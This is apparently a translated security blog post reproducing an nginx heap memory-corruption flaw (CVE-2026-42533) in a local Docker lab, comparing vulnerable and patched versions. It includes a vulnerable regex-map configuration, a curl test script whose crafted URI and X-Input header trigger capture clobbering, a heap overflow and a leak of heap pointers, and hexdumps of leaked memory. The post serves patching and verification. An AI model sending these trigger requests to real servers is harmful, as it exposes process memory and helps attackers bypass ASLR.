I attempted to reproduce the nginx vulnerability reported in July 2026 (CVE-2026-42533) in Docker

I attempted to reproduce the nginx vulnerability reported in July 2026 (CVE-2026-42533) in Docker

I reproduced the behavior of the pre-authentication RCE vulnerability CVE-2026-42533 (CVSS 9.2) in nginx, patched on July 15, 2026, in a local Docker environment. I confirmed that heap information is leaked with a single GET request via Two-Pass capture clobbering, and verified that the issue is resolved in the patched version 1.30.4. Since all versions from 0.9.6 up to but not including the patched version are affected, early upgrading is recommended.
2026.07.20

This page has been translated by machine translation. View original

Introduction

On July 15, 2026, CVE-2026-42533, a memory corruption vulnerability in nginx's HTTP request processing, was patched. This vulnerability is remotely reachable without authentication, with a CVSS v4.0 score of 9.2 (Critical). The code that caused this issue has existed since version 0.9.6, released in March 2011, and went unnoticed for approximately 15 years.

https://cyberstan.co.uk/nginx-rce/

https://my.f5.com/manage/s/article/K000162097

Category Affected Versions Fixed Version
nginx stable 0.9.6 〜 1.30.3 1.30.4
nginx mainline 〜 1.31.2 1.31.3
NGINX Plus R33 〜 R36 / 37.0.0.1 〜 37.0.2.1 R36 P7 / 37.0.3.1

In this article, we set up both the vulnerable version (1.30.3) and the fixed version (1.30.4) side by side in a local Docker environment and reproduced the capture clobbering occurrence and heap information disclosure at the behavioral level. We will not demonstrate RCE. Additionally, triggering via NGINX Plus and the stream module is outside the scope of this verification.

If you are operating nginx with a configuration that combines regex location and regex map, an early upgrade is recommended.

Verification Details

Verification Environment

Item Value
Host OS Linux
Docker Docker Compose v2
Vulnerable Image nginx:1.30.3 (port 8081)
Fixed Image nginx:1.30.4 (port 8082)
nginx Configuration Combination of regex location + regex map

Vulnerable Configuration and the Two-Pass Mechanism

The nginx.conf used for verification is as follows.

worker_processes 1;
error_log /var/log/nginx/error.log debug;

events {
    worker_connections 1024;
}

http {
    map $http_x_input $mapped_var {
        default       "nomatch";
        ~^(?<cap>.+)$ "matched";
    }

    server {
        listen 80;
        server_name localhost;

        location ~ "^/test/(.+)$" {
            add_header X-Debug "$1--$mapped_var--$1" always;
            return 200 "URI capture=[$1] mapped=[$mapped_var]\n";
        }

        location /health {
            return 200 "ok\n";
        }
    }
}

nginx's scripting engine processes composite values such as those in add_header and return in two stages. First, a LEN pass that calculates the required buffer length, then a VALUE pass that actually writes the string. The capture $1 from the regex location ^/test/(.+)$ is stored in r->captures as the result of the regex match.

Here, when $mapped_var is referenced and the regex map ~^(?<cap>.+)$ is evaluated, the map's regex match is executed against the value of the X-Input header, and r->captures is overwritten with the result. In the configuration used for this verification, a situation arises between the LEN pass and the VALUE pass where the reference target of $1 changes, causing a mismatch between the allocated buffer size and the actual number of bytes written. In this verification, this mismatch was observed as a buffer overflow (Test 2) and exposure of an uninitialized region (Test 3).

The following docker-compose.yml was used to start the containers.

services:
  nginx-vulnerable:
    image: nginx:1.30.3
    container_name: nginx-vuln-cve2026-42533
    ports:
      - "8081:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf:ro
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost/health"]
      interval: 5s
      timeout: 3s
      retries: 3

  nginx-fixed:
    image: nginx:1.30.4
    container_name: nginx-fixed-cve2026-42533
    ports:
      - "8082:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf:ro
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost/health"]
      interval: 5s
      timeout: 3s
      retries: 3

After starting both containers with docker compose up -d, the following three tests were executed.

Verification Test Script (test.sh)
#!/bin/bash
# CVE-2026-42533 Reproduction Test Script
# Tests the two-pass capture clobbering vulnerability in nginx
#
# This script does NOT attempt RCE - it demonstrates the observable
# behavioral difference (capture clobbering) that proves the bug exists.

set -euo pipefail

VULN_PORT=8081
FIXED_PORT=8082
HOST="localhost"

# Wait for containers to be ready
echo "[*] Waiting for containers to be ready..."
for port in $VULN_PORT $FIXED_PORT; do
    for i in $(seq 1 30); do
        if curl -s -o /dev/null -w "%{http_code}" "http://${HOST}:${port}/health" 2>/dev/null | grep -q "200"; then
            break
        fi
        if [ "$i" -eq 30 ]; then
            echo "[!] Container on port ${port} not ready after 30s"
            exit 1
        fi
        sleep 1
    done
done
echo "[+] Both containers are ready"

# Test 1: Basic capture clobbering detection
echo "=== TEST 1: Basic Capture Clobbering Detection ==="
curl -s -D - "http://${HOST}:${VULN_PORT}/test/abc" -H "X-Input: CLOBBERED_DATA_HERE"
echo "---"
curl -s -D - "http://${HOST}:${FIXED_PORT}/test/abc" -H "X-Input: CLOBBERED_DATA_HERE"

# Test 2: Overflow direction (short URI + long X-Input)
echo "=== TEST 2: Length Mismatch (Overflow Direction) ==="
LONG_INPUT=$(python3 -c "print('B' * 200)")
curl -s -D - "http://${HOST}:${VULN_PORT}/test/x" -H "X-Input: ${LONG_INPUT}"
echo "---"
curl -s -D - "http://${HOST}:${FIXED_PORT}/test/x" -H "X-Input: ${LONG_INPUT}"

# Test 3: Leak direction (long URI + short X-Input)
echo "=== TEST 3: Length Mismatch (Leak Direction) ==="
LONG_CAP=$(python3 -c "print('A' * 500)")
curl -s --output - "http://${HOST}:${VULN_PORT}/test/${LONG_CAP}" -H "X-Input: z" | hexdump -C
echo "---"
curl -s -D - "http://${HOST}:${FIXED_PORT}/test/${LONG_CAP}" -H "X-Input: z"

Test 1: Capture Clobbering Detection

We sent an X-Input header (19 bytes of CLOBBERED_DATA_HERE) longer than the URI path capture $1 (3 bytes of abc), and verified whether $1 would be overwritten.

curl -s -D - "http://localhost:8081/test/abc" -H "X-Input: CLOBBERED_DATA_HERE"
Server Value of $1 HTTP Status Result
nginx 1.30.3 CLOBBERED_DATA_HERE 200 ❌ Vulnerable (capture clobbering occurred)
nginx 1.30.4 500 ✅ Fixed (aborted by buffer boundary check)

In the vulnerable version (1.30.3), the X-Debug header was CLOBBERED_DATA_HERE--matched--CLOBBERED_DATA_HERE. The $1, which should have been "abc", was completely replaced by the capture result of the X-Input header. In the fixed version (1.30.4), the VALUE pass detected a buffer size mismatch and aborted with HTTP 500 (see the fix mechanism described later for details).

Test 1 Full Vulnerable Version Response
HTTP/1.1 200 OK
Server: nginx/1.30.3
Date: Mon, 20 Jul 2026 08:39:18 GMT
Content-Type: text/plain
Content-Length: 35
Connection: keep-alive
X-Debug: CLOBBERED_DATA_HERE--matched--CLOBBERED_DATA_HERE

URI capture=[CLOBBERED_DATA_HERE] m

Test 2: Overflow Direction (Short URI + Long X-Input)

We sent a 200-byte X-Input header against /test/x ($1 = 1 byte) and verified whether a large value would be written into a small buffer.

curl -s -D - "http://localhost:8081/test/x" -H "X-Input: $(python3 -c "print('B'*200)")"
Server Response Content HTTP Status Result
nginx 1.30.3 Content-Length: 33 (LEN pass calculated value) with body truncated. 'B'×200 bytes written to the X-Debug header, causing a heap overflow 200 ❌ Buffer overflow (200 bytes written into a 1-byte buffer)
nginx 1.30.4 500 Internal Server Error 500 ✅ Detected and aborted by ngx_http_script_check_length()

In the vulnerable version, the body is truncated because Content-Length is 33, calculated by the LEN pass with $1 = x (1 byte), but 200 bytes were written into a 1-byte buffer during X-Debug header construction, causing heap corruption. The fixed version aborted with HTTP 500, the same as in Test 1.

Test 3: Information Leak Direction (Long URI + Short X-Input)

This is the reverse case of Test 2. We set $1 = 500 bytes with URI /test/ + 500 bytes of 'A', and sent "z" (1 byte) as the X-Input. The LEN pass calculates the buffer size based on $1 being 500 bytes, but in the VALUE pass, the $1 portion is replaced by the 1-byte value z, leaving most of the buffer unwritten, and the uninitialized heap data in that region leaks into the response.

curl -s "http://localhost:8081/test/$(python3 -c "print('A'*500)")" -H "X-Input: z" | hexdump -C
Server Response Size Leaked Content Result
nginx 1.30.3 532 bytes (expected: 33 bytes) Null bytes, heap pointer (0xaaab5db438b0), access log string from previous request ❌ Uninitialized heap data leaked
nginx 1.30.4 33 bytes None ✅ Only the correct size returned

The vulnerable version returned 532 bytes against the expected 33 bytes. Examining the content via hexdump reveals uninitialized heap data leaking in the following regions.

  • Offset 0x0093 and beyond: Null byte sequence (uninitialized region of the buffer)
  • Offset 0x00b0: Little-endian heap pointer (0xaaab5db438b0)
  • Offset 0x0150 and beyond: Residual access log string from the previous request
000090 0a 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00  >................<
0000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >................<
0000b0 b0 38 b4 5d ab aa 00 00 00 00 00 00 00 00 00 00  >.8.]............<
0000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >................<
*
000100 00 02 00 00 00 00 00 00 00 29 b4 5d ab aa 00 00  >.........).]....<
000150 31 32 37 2e 30 2e 30 2e 31 20 2d 20 2d 20 5b 32  >127.0.0.1 - - [2<
000160 30 2f 4a 75 6c 2f 32 30 32 36 3a 30 38 3a 33 39  >0/Jul/2026:08:39<
000170 3a 32 34 20 2b 30 30 30 30 5d 20 22 47 45 54 20  >:24 +0000] "GET <
000180 2f 68 65 61 6c 74 68 20 48 54 54 50 2f 31 2e 31  >/health HTTP/1.1<
000190 22 20 32 30 30 20 33 20 22 2d 22 20 22 63 75 72  >" 200 3 "-" "cur<
0001a0 6c 2f 38 2e 31 34 2e 31 22 0a 00 00 00 00 00 00  >l/8.14.1".......<

The b0 38 b4 5d ab aa 00 00 at offset 0x00b0 is estimated to be a little-endian heap pointer (0xaaab5db438b0) based on the arrangement of values. A portion of the address space under ASLR is exposed. From offset 0x0150 onward, the access log string from the previous request (a health check to /health) remained intact. This shows that the internal memory contents of the process are being returned in a single GET request.

Test 3 Full Vulnerable Version Hexdump
000000 55 52 49 20 63 61 70 74 75 72 65 3d 5b 7a 5d 20  >URI capture=[z] <
000010 6d 61 70 70 65 64 3d 5b 6d 61 74 63 68 65 64 5d  >mapped=[matched]<
000020 0a 33 30 2e 33 0d 0a 44 61 74 65 3a 20 4d 6f 6e  >.30.3..Date: Mon<
000030 2c 20 32 30 20 4a 75 6c 20 32 30 32 36 20 30 38  >, 20 Jul 2026 08<
000040 3a 33 39 3a 32 34 20 47 4d 54 0d 0a 43 6f 6e 74  >:39:24 GMT..Cont<
000050 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70  >ent-Type: text/p<
000060 6c 61 69 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65  >lain..Content-Le<
000070 6e 67 74 68 3a 20 33 0d 0a 43 6f 6e 6e 65 63 74  >ngth: 3..Connect<
000080 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d  >ion: keep-alive.<
000090 0a 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00  >................<
0000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >................<
0000b0 b0 38 b4 5d ab aa 00 00 00 00 00 00 00 00 00 00  >.8.]............<
0000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >................<
*
000100 00 02 00 00 00 00 00 00 00 29 b4 5d ab aa 00 00  >.........).]....<
000110 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00  >................<
000120 00 80 00 00 00 00 00 00 00 b3 cb 43 ab aa 00 00  >...........C....<
000130 84 ec bd 43 ab aa 00 00 50 29 b4 5d ab aa 00 00  >...C....P).]....<
000140 60 38 b4 5d ab aa 00 00 a0 3d b2 5d ab aa 00 00  >`8.].....=.]....<
000150 31 32 37 2e 30 2e 30 2e 31 20 2d 20 2d 20 5b 32  >127.0.0.1 - - [2<
000160 30 2f 4a 75 6c 2f 32 30 32 36 3a 30 38 3a 33 39  >0/Jul/2026:08:39<
000170 3a 32 34 20 2b 30 30 30 30 5d 20 22 47 45 54 20  >:24 +0000] "GET <
000180 2f 68 65 61 6c 74 68 20 48 54 54 50 2f 31 2e 31  >/health HTTP/1.1<
000190 22 20 32 30 30 20 33 20 22 2d 22 20 22 63 75 72  >" 200 3 "-" "cur<
0001a0 6c 2f 38 2e 31 34 2e 31 22 0a 00 00 00 00 00 00  >l/8.14.1".......<
0001b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >................<
*
000210 00 00 00 00                                      >....<
000214

Fix Mechanism

The fix in nginx 1.30.4 takes the approach of adding buffer boundary checks to the VALUE pass, rather than saving and restoring captures.

ngx_http_script_check_length() checks the remaining buffer capacity before each variable write in the VALUE pass. If the amount to be written exceeds the buffer size calculated during the LEN pass, it returns HTTP 500 and aborts processing. The reason the fixed version returned HTTP 500 in Tests 1 and 2 is due to this boundary check.

Regarding the prevention of information leakage, the method for calculating the length returned as a response has been changed. Before the fix, the measured value from the LEN pass was used as-is, but after the fix, it is calculated from the actual number of bytes written during the VALUE pass (e->pos - e->buf.data). The reason the fixed version returned only 33 bytes in Test 3 is that only the actually written portion was adopted as the response size.

Summary

CVE-2026-42533 is a serious vulnerability in which, under configurations that meet the impact conditions, values estimated to be pointers on the heap and past request data can be leaked in a single GET request. In this verification, we observed capture clobbering and exposure of uninitialized memory in the vulnerable version, and confirmed that the same requests did not reproduce the issue in the fixed version.

As a countermeasure, updating to nginx 1.30.4 (stable) or 1.31.3 (mainline) is effective. For NGINX Plus, R36 P7 / 37.0.3.1 applies. For environments where an immediate update is not possible, we recommend checking whether your own environment's configuration meets the impact conditions and prioritizing your response accordingly. The configuration scanner published by the discoverer (Stan Shaw) can be used to check whether your configuration contains a combination of regex location and regex map.

Additionally, nginx may be used internally within container images and PaaS infrastructure. Even in environments where you do not directly manage nginx yourself, we recommend checking whether the infrastructure you are using contains the affected version and whether a fixed version or updated platform is available.

Share this article